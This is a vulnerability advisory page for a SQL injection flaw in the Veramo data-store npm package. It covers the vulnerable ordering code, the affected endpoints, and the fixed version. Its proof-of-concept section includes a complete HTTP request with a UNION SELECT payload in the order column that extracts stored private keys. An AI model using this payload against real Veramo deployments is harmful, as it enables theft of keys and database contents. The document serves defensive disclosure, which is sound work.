GHSA-38cw-85xc-xr9x Veramo is Vulnerable to SQL Injection in Veramo Data Store ORM

Not scored Published 16 Jan 2026

Authenticated users can execute arbitrary SQL queries via unsanitized column parameters in Veramo data store ORM, risking data exposure and modification.

Exploited in the wild: Not known
Login needed: Any signed-in user
Attackable: Over the internet
Victim action needed: Not needed
Fix: Available

What is GHSA-38cw-85xc-xr9x?

GHSA-38cw-85xc-xr9x is a SQL injection vulnerability in @veramo/data-store, published on 16 Jan 2026. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

Summary

An SQL injection vulnerability exists in the @veramo/data-store package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the column parameter in the order array of query requests.

Details

packages/data-store/src/data-store-orm.ts (lines 416-434)

The vulnerability exists in the decorateQB() function which processes query ordering parameters:

function decorateQB(
  qb: SelectQueryBuilder&lt;any&gt;,
  tableName: string,
  input: FindArgs&lt;any&gt;,
): SelectQueryBuilder&lt;any&gt; {
  if (input?.skip) qb = qb.offset(input.skip)
  if (input?.take) qb = qb.limit(input.take)

  if (input?.order) {
    for (const item of input.order) {
      qb = qb.addSelect(
        qb.connection.driver.escape(tableName) + &#39;.&#39; + qb.connection.driver.escape(item.column),
        item.column,
      )
      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)
    }
  }
  return qb
}

Root Cause:

The item.column value from user input is passed directly as the alias parameter to addSelect() without any sanitization or validation
While TypeScript defines allowed column types (e.g., TCredentialColumns = 'context' | 'type' | ...), this is only compile-time checking
At runtime, the function accepts FindArgs<any>, allowing arbitrary strings to bypass type restrictions
TypeORM inserts the alias directly into the SQL query, enabling SQL injection

Affected Endpoints:

All endpoints are located in packages/data-store/src/data-store-orm.ts:

Endpoint	Method	Line
`dataStoreORMGetIdentifiers`	identifiersQuery()	85-98
`dataStoreORMGetMessages`	messagesQuery()	129-153
`dataStoreORMGetVerifiableCredentialsByClaims`	claimsQuery()	168-198
`dataStoreORMGetVerifiableCredentials`	credentialsQuery()	227-252
`dataStoreORMGetVerifiablePresentations`	presentationsQuery()	275-297

All these methods call decorateQB() which processes the vulnerable order parameter.

PoC

Prerequisites:

A running Veramo agent with the REST API exposed (e.g., via @veramo/remote-server)
Valid authentication credentials (Bearer token)
The agent uses @veramo/data-store with a SQLite or compatible database

Example Exploit to Extract Private Keys From DB:

POST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1
Host: localhost:3332
Content-Length: 811
Authorization: Bearer test123
Content-Type: application/json

{ &#34;where&#34;:[
    {
      &#34;value&#34;: [
        &#34;string&#34;
      ],
      &#34;not&#34;: true,
      &#34;op&#34;: &#34;foo&#34;,
&#34;column&#34;:&#34;bar&#34;
    }
  ],
 
  &#34;skip&#34;: 0,
  &#34;take&#34;: 11111232323230,
&#34;order&#34;: [
    {
      &#34;direction&#34;: &#34;ASC&#34;,&#34;column&#34;:&#34;issuanceDate\&#34; AS \&#34;issuanceDate\&#34; FROM \&#34;claim\&#34; \&#34;claim\&#34; LEFT JOIN \&#34;identifier\&#34; \&#34;issuer\&#34; ON \&#34;issuer\&#34;.\&#34;did\&#34;=\&#34;claim\&#34;.\&#34;issuerDid\&#34;  LEFT JOIN \&#34;identifier\&#34; \&#34;subject\&#34; ON \&#34;subject\&#34;.\&#34;did\&#34;=\&#34;claim\&#34;.\&#34;subjectDid\&#34;  LEFT JOIN \&#34;credential\&#34; \&#34;credential\&#34; ON \&#34;credential\&#34;.\&#34;hash\&#34;=\&#34;claim\&#34;.\&#34;credentialHash\&#34; where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object(&#39;alias&#39;, alias, &#39;type&#39;, type, &#39;privateKeyHex&#39;, privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -&#34;
    }
  ]
}

similar exploit could be used against the other affected endpoints

Impact

Attack capabilities:

Complete database read access
Reading or write files into fs depending on dbms used
Database-specific escalation paths
Dos through timebased or multiple long running queries

Which versions are affected by GHSA-38cw-85xc-xr9x?

2 open source packages ship an affected version, including @veramo/data-store.

Package	Affected	Fixed in
`@veramo/data-store` npm	All versions	`6.0.2`
`@veramo/data-store` npm	All versions	`6.0.2`

How do I fix GHSA-38cw-85xc-xr9x?

Upgrade @veramo/data-store to 6.0.2 or later.

Use parameterised queries everywhere and never build SQL by joining strings. Upgrade affected software first; a web application firewall only buys time. More about SQL injection.

Is GHSA-38cw-85xc-xr9x being exploited?

There is no known exploitation of GHSA-38cw-85xc-xr9x in the wild and no public exploit code.